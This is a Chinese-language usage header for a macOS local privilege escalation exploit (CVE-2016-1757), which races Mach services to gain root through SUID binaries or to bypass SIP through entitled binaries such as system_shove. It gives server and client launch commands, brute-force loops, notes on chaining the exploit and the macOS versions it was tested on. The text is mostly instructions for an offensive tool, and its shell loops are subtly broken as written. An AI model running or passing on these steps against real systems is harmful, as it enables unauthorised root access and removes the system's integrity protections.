Mach Race OS X 本地权限提升漏洞利用
(c) fG! 2015, 2016, [email protected] - https://reverse.put.as
一个针对 SUID、SIP 和二进制 entitlements 的通用 OS X 漏洞利用 (CVE-2016-1757)。
针对 SUID 二进制文件的使用方法:
./mach_race_server /bin/ps _compat_mode
for i in seq 0 1000000; do ./mach_race_client /bin/ps; done
针对具有 entitlements 的二进制文件以绕过 SIP:
./mach_race_server /System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/system_shove _geteuid
for i in seq 0 1000000; do ./mach_race_client /System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/system_shove; done
注意:由于服务名称未被修改,您无法将此漏洞利用从普通用户链式提升到 root,然后使用它绕过 SIP,因为 bootstrap_register2 在第二次运行时将失败(服务已在第一次运行时向 launchd 注册)。解决方案是添加一个参数以使用不同的服务名称,例如。
注意2:没有必要将其拆分为两个独立的应用程序,单个二进制即可工作,您只需要派生出一个服务器和一个客户端。
参考文献:
http://googleprojectzero.blogspot.pt/2016/03/race-you-to-kernel.html
已在以下版本测试通过:Mavericks 10.10.5、Yosemite 10.10.5、El Capitan 10.11.2 和 10.11.3。
已在 El Capitan 10.11.4 中修复。
应适用于所有 OS X 版本(取决于旧版本上是否存在 bootstrap_register2)。
对于较旧版本,可以使用 bootstrap_create_server 的替代实现。